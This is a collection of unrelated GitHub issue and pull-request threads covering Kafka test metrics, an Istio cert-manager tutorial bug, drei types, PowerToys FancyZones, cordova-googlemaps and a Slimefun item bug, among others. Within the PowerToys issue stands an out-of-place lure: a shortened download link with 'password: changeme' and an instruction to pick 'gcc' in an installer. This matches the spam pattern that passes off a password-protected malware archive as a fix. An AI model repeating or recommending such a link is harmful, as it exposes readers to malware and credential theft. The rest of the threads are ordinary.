Can you update the PR summary if it is ready for review?

@kamalcph just updated, thanks for the review!

Instead of getting the number from yammer metrics, we can check the metric counter and see if it increased

For my understanding, Could you please explain how this patch fixed the issue? The safeYammerMetricValue was also returning the meter count. Thanks!

For my understanding, Could you please explain how this patch fixed the issue? The safeYammerMetricValue was also returning the meter count. Thanks!

@kamalcph the variable of metrics item (kafka.server:type=DelayedRemoteFetchMetrics,name=ExpiresPerSec) is singleton object and it could be removed by other tests which are running in same JVM (and it is not recreated). Hence, verifying the metrics value is not stable to this test case.
For example, the following test case fails on the last assert
    TestUtils.clearYammerMetrics()
    DelayedRemoteFetchMetrics.expiredRequestMeter.mark()
    // pass since the singleton object is created lazily when it is used
    assertEquals(1, safeYammerMetricValue("type=DelayedRemoteFetchMetrics,name=ExpiresPerSec").asInstanceOf[Long])
    TestUtils.clearYammerMetrics()
    assertEquals(0, safeYammerMetricValue("type=DelayedRemoteFetchMetrics,name=ExpiresPerSec").asInstanceOf[Long])
    DelayedRemoteFetchMetrics.expiredRequestMeter.mark()
    // fails since the object is removed from yammer
    assertEquals(1, safeYammerMetricValue("type=DelayedRemoteFetchMetrics,name=ExpiresPerSec").asInstanceOf[Long])

Failed tests are unrelated.

@kamalcph thanks for the comment, and sorry for the late reply.
Previously we get the counts from the yammer metrics, however, although the onExpire has called the mark, the counter value was not updated.
I have tried to log the process and observe the behaviour, everything want as expected, but the metrics still didn't reflect.
After discussion with @showuon , we found that the potential reason could be, that metrics was affected by other tests, because all those tests run in the same JVM.
By change the way we verify the metrics, the updated test can still cover the original test case, but without the flaky issue.


Refactor the entire codebase to replace class-based handlers with function-based handlers.

Summary by Sourcery
Refactor the codebase to use function-based handlers instead of class-based handlers, simplifying the handler registration and execution process. Improve code readability and maintainability by consolidating similar functionalities and optimizing command processing logic. Enhance error handling and streamline the command execution flow.
Enhancements:

Refactor the codebase to replace class-based handlers with function-based handlers, improving code readability and maintainability.
Simplify the handler registration process by removing the abstract handler classes and using direct function decorators.
Improve the command processing logic by consolidating similar functionalities into single functions, reducing code duplication.
Enhance the error handling mechanism by streamlining the error logging and reporting process.
Optimize the command execution flow by removing unnecessary checks and simplifying the logic for command validation.

@sourcery-ai review

@sourcery-ai review

https://github.com/sourcery-ai review

@sourcery-ai review


Tutorial "Kubernetes Ingress with Cert-Manager" doesn't work at 1.4.0

Bug description
After Installing using these guides:
Setup -> Platform Setup -> Google Kubernetes Engine
Setup -> Install -> Customizable Install with Istioctl
Task in documentation for certmanager + let's encrypt fails at Setting Up a Demo Application. Doc location:
Tasks -> Traffic Management -> Ingress -> Kubernetes Ingress with Cert-Manager
when you execute the cat <<EOF | kubectl apply -f -  of helloworld Service, Deployment and Ingress in docs the first error you get is:
service/helloworld created
error: error validating "STDIN": error validating data: ValidationError(Deployment.spec): missing required field "selector" in io.k8s.api.apps.v1.DeploymentSpec; if you choose to ignore these errors, turn validation off with --validate=false

After that, if you create a temp.yaml file of the helloworld Service, Deployment and Ingress, and kubectl apply -f temp.yaml  --validate=false the file you get this error:
service/helloworld unchanged
ingress.networking.k8s.io/helloworld-ingress created
The Deployment "helloworld" is invalid:
* spec.selector: Required value
* spec.template.metadata.labels: Invalid value: map[string]string{"app":"helloworld"}: `selector` does not match template `labels`

This is pretty straightforward to reproduce. Either something isn't clear in documentation or there's a problem with GKE + Istio + cert manager.
I've been playing around with this tutorial for a while now and I've never had it successfully work on GKE with any of the 1.3.* versions of istio. I was hopefule that 1.4.0 would work as I saw the documentation had been updated.
Expected behavior
Tutorial would work and I could have Let's encrypt create certificates for cluster.
Steps to reproduce the bug
Setup -> Platform Setup -> Google Kubernetes Engine
Setup -> Install -> Customizable Install with Istioctl
Tasks -> Traffic Management -> Ingress -> Kubernetes Ingress with Cert-Manager
my inputs:
gcloud container clusters create test-1-4-0   --cluster-version latest   --machine-type=n1-standard-2   --num-nodes 4   --zone us-central1-f   --project $PROJECT_NAME
gcloud container clusters get-credentials test-1-4-0 --zone us-central1-f --project $PROJECT_NAME
kubectl create clusterrolebinding cluster-admin-binding     --clusterrole=cluster-admin     --user=$(gcloud config get-value core/account)

istioctl manifest apply

istioctl manifest apply   --set values.gateways.istio-ingressgateway.sds.enabled=true   --set values.global.k8sIngress.enabled=true   --set values.global.k8sIngress.enableHttps=true   --set values.global.k8sIngress.gatewayName=ingressgateway
kubectl -n istio-system get service istio-ingressgateway
kubectl get svc -n istio-system
kubectl get pods -n istio-system

make sure all pods are running. take external ip for svc and associate that with INGRESS_DOMAIN.
INGRESS_DOMAIN=my.domain.com
kubectl -n istio-system   patch gateway istio-autogenerated-k8s-ingress --type=json   -p='[{"op": "replace", "path": "/spec/servers/1/tls", "value": {"credentialName": "ingress-cert", "mode": "SIMPLE", "privateKey": "sds", "serverCertificate": "sds"}}]'

kubectl get pods -n istio-system
kubectl get svc -n istio-system

make sure that above applied updates work.
Execute kubectl apply command with this section.
Version (include the output of istioctl version --remote and kubectl version and helm version if you used Helm)
client version: 1.4.0
control plane version: 1.4.0
data plane version: 1.4.0 (1 proxies)

How was Istio installed?
Setup -> Platform Setup -> Google Kubernetes Engine
Setup -> Install -> Customizable Install with Istioctl
Environment where bug was observed (cloud vendor, OS, etc)
GKE

istio-dump.tar.gz

Thanks, looks like a pretty straightforward docs error the deployment yaml is not correct

Fixed by istio/istio.io/5777 thanks!


JS import order arranged

Notion card
Summary

Preview

Type of change
Please delete options that are not relevant.

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to
not work as expected)
[ ] This change requires a documentation update

How Has This Been Tested?

Checklist:

[ ] I have manually tested all workflows
[ ] I have performed a self-review of my own code
[ ] I have added automated tests for my code

@apoorv1316 can you do a smoke test on this branch on your local?

@akhilgkrishnan I am not able to make payment on this branch. Stripe is connected. Please see the attached loom
http://localhost:3000/invoices/3b25964a16d556e53f8684018794da9c/view

@akhilgkrishnan I am not able to make payment on this branch. Stripe is connected. Please see the attached loom http://localhost:3000/invoices/3b25964a16d556e53f8684018794da9c/view

@apoorv1316 can you share the loom video

@akhilgkrishnan I am not able to make payment on this branch. Stripe is connected. Please see the attached loom http://localhost:3000/invoices/3b25964a16d556e53f8684018794da9c/view

@apoorv1316 can you share the loom video

@akhilgkrishnan Sorry, here is the loom https://www.loom.com/share/824ff744a5df4567b3389e4cc2ac53c5


Dataset description

Datasets have quite a central role in many hackathons as being part of a challenge. What we are looking for here is the ability to link to Data Packages and open data portals, loading and displaying the metadata directly from an event or projects. The dataset description should follow the event description, as requested by @Cotting - not the other way around. Also the link to the data resources in the navigation needs to be improved. Challenges in the form of a Data Package could be featured as in [this example], while others can be listed as GitHub issues were visualized as project ideas in this Open Data Day event, or as Data Packages are being shown via Datacentral in the Food Open Data events. Integration with CKAN as done in the GLAM event is also of interest.
Experimental support for Data Packages has been available since #98, i.e. by providing a link that ends with datapackage.json the contents are collected into a project similarly to GitHub repositories and other platforms. However, this is currently not working properly due to some legacy issues, and not a very satisfactory implementation to begin with. The current technical support needs to be improved along side with some design thinking about how to make this work well for the user.
See also #208

An example of a hackathon platform which does this well is GovHack's Hackerspace.

I've reached out for feedback to https://github.com/BONSAMURAIS/hackathons/issues/7

Just came across this very motivating forum post by @lexman which may well spur further work here. I've contributed an English translation, which I excerpt here:

"For the work done during a hackathon to be sustainable, it is necessary at least to document it .. or even better, to publish the computer code and the queries used on a recognised platform. The value added during the hackathon will therefore be available to all and almost indefinitely, although some of the reuses or experiments will no longer be online after a few months. In the same way that free software does not offer the same freedom as open source software, data is only really open if you expose how it was obtained."
https://discuss.okfn.org/t/tribune-laissez-une-trace-de-votre-hackathon/2926/2


Error with types in useGLTF hook

three version: 0.146.0
@react-three/fiber version: 8.9.1
@react-three/drei version: 9.43.3
node version: v14.18.2
npm version: 7.5.6

Problem description:
After creating the tsx file from glb file using gltfjsx tool, there was an error with types in useGTLF hook.

Relevant code:

Here is an example of code in codesandbox (sandbox based on this).

everything typescript i would need your help, im not good enough to get types right myself.

@drcmda I looked into the types for fiber and drei, and we might need to add more generic types. Will take out some time and try to raise a PR.
But for the time being, a patch could be using as unkown type coercion. Not ideal, but atleast types won't be broken when generating the file.
const { nodes, materials, animations } = useGLTF("/path") as unknown as GLTFResult

Actually I think this solution is better for this
https://github.com/pmndrs/gltfjsx/issues/101#issuecomment-1363432531
does it solve your problem?

This is fixed in Drei since https://github.com/pmndrs/drei/releases/tag/v9.89.1.


feat: Implement eth_getCode method

Description
https://github.com/keep-starknet-strange/rosettanet/blob/main/rpc-call-examples/eth_getCode.hurl

Get sn address from queried eth address.
Get class hash or class opcodes for the sn address.
Format output and return

Requirements

Unit tests have to be implemented.
Do not change the existing type structure
Tests must have non-existent transaction results as well.

Completion Time
The issue is assumed to be completed in 5 days. If you need more time, please also specify that.

Hi, I would like to be assigned to this task.

Assigned


FancyZone layout editor not covering full screen

Microsoft PowerToys version
0.83.0
Installation method
PowerToys auto-update
Running as admin
Yes
Area(s) with issue?
FancyZones Editor
Steps to reproduce
Use a monitor with a resolution of 5120x1440, launch fancy zone editor.
✔ Expected Behavior
The editor displays an overlay over the entire screen to allocate where to snap zones.
❌ Actual Behavior
A portion of the overlay is not covering the right half of the screen.

Other Software
No response

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."


jest-enzyme: docs: installing jest-enzyme and its type defs

Hello,
the readme currently has two split sections on installing jest-enzyme: one at the top for general import and another at the bottom for cra and ts specifics. I'd like to put them under a common headline and make the following changes:
1/ The alternative setup suggests to specify jest-enzyme's main module path. Would the following work, too?
// package.json
"jest": {
+  "setupFilesAfterEnv": ['jest-enzyme'],
-  "setupFilesAfterEnv": ['./node_modules/jest-enzyme/lib/index.js'],
}

2/ The instructions for Typescript suggest to import jest-enzyme from src/setupTests.js to ensure the signatures are available to the language-server. Alternatively, that import can be made from a .d.ts-file to be included in the tsconfig's typeRoots option. Example src/types/jest-enzyme.d.ts:
import 'jest-enzyme';

Example tsconfig.json
{
  "compilerOptions": {
    "typeRoots": ["./src/types/"]
  }
}

3/ Some links are obsolete. CRA docs on tests moved here

Thanks to you issue I finally got my tests running with ts-jest 😄
I added "typeRoots": ["./node_modules/@types","./node_modules/jest-enzyme/lib"] to my compilerOptions.


Add sub-examples (resolves #4)

Goal
This pull request addresses the issue mentioned in #4 (main issue and comments):

Referencing was added in #6.
Sub-examples (including referencing of sub-examples) is added in the current pull request.

Behaviour
The behaviour of simple examples without sub-examples is unchanged, but a special use of #gloss is added to accommodate sub-examples: each sub-example is surrounded with parentheses, which are separated by commas. Referencing sub-examples is done in a similar manner to #6: each sub-example can have label and label-supplement fields.
Code
In order to avoid code duplication and make things clearer and simpler, the code responsible to typesetting the internal part of the interlinear glosses is moved to a dedicated function, #typeset_gloss (within the main #gloss function, until typst/typst#4534 is implemented). For readability the code responsible for each sub-example is bundled within a dedicated function of its own, #add_subexample.
It was a true pleasure to work on this package 🙂

Thanks for the PR! Taking a look now

Thanks for the updates, I'm taking another look at this now.

Ok, I think I like this API! I might make some minor tweaks to this in future commits but on the whole this chunk of code looks good, and I'll go ahead and merge.

Wonderful! Thank you 🙂


fix(browserify): removes return statement which was used outside of function scope

This fixes cordova build --browserify build and allows to improve app boot time significantly!
Fixes #1616

This return function is important.
When cordova executes the app, cordova wraps with a function.
This return statement prevents loading the script that is no cordova script.

Do you have a use case for this script to be run outside of cordova?

Yes.
https://github.com/mapsplugin/v2.0-demo/blob/master/www/Map/index.html

I see many apps, not only pure cordova app, but also include many frameworks.
For example, DrupalGap is a framework that uses cordova.
But the users of this framework mostly create thier apps like webpage.
Only the map page uses cordova with this plugin.

if you open cordova app in browser all cordova plugins won't be included. Also it doesn't make much sense because this plugin won't work without cordova env at all, isn't it?

I did quick grep over this plugin and it shows that there are 15 files which requires cordova or cordova related modules. So, all that files may be run only in cordova env.

No, you are not correct.
The pages does not include

ok, so we need to find a different solution... because this blocks to improve app load time with browserify... Read my comment for details - https://github.com/mapsplugin/cordova-plugin-googlemaps/issues/1616#issuecomment-320498804


Simplify eleuther eval config

This config doesn't appear to need the recipe_state nor the output_dir in the checkpointer. Removing these would make understanding the config easier as the user doesn't have to think about these arguments that aren't relevant for the actual eval recipe. cc @joecummings

Seems like this is addressed


Battery of Totems bug

Description (Required)
There have two bug on this infusion.

It can add more than 8 totems of undying
You can put not totems of undying when you put one totems of undying on offhand.

Steps to reproduce the Issue (Required)
More than 8 totems of undying

Add 8 totems of undying and add one more.

Not totems of undying item

Put totems of undying on offhand
Main hand take other type (not totems of undying)
And you will see it can fake the totems of undying, only cost other type in main hand items.

Expected behavior (Required)

Can't put more than 8 totems of undying.

Can't put other not totems of undying item in.

Server Log / Error Report
N/A
Environment (Required)

Minecraft Version: git-Paper-782 (MC: 1.16.5)
Slimefun Version: DEV - 949 (git 6392af00)
Plugin Version: vDEV - 6 (git ed96769e)

hmm, it look like it won't cost any totems of undying on offhand ,  i only put totems of undying on offhand, and main hand don't take anything, still will add, and offhand totems of undying didn't cost it.

my computer broke, im still working on installing the stuff i need to work on the addon because i reinstalled my system to fix issues, although i should be able to fix this soon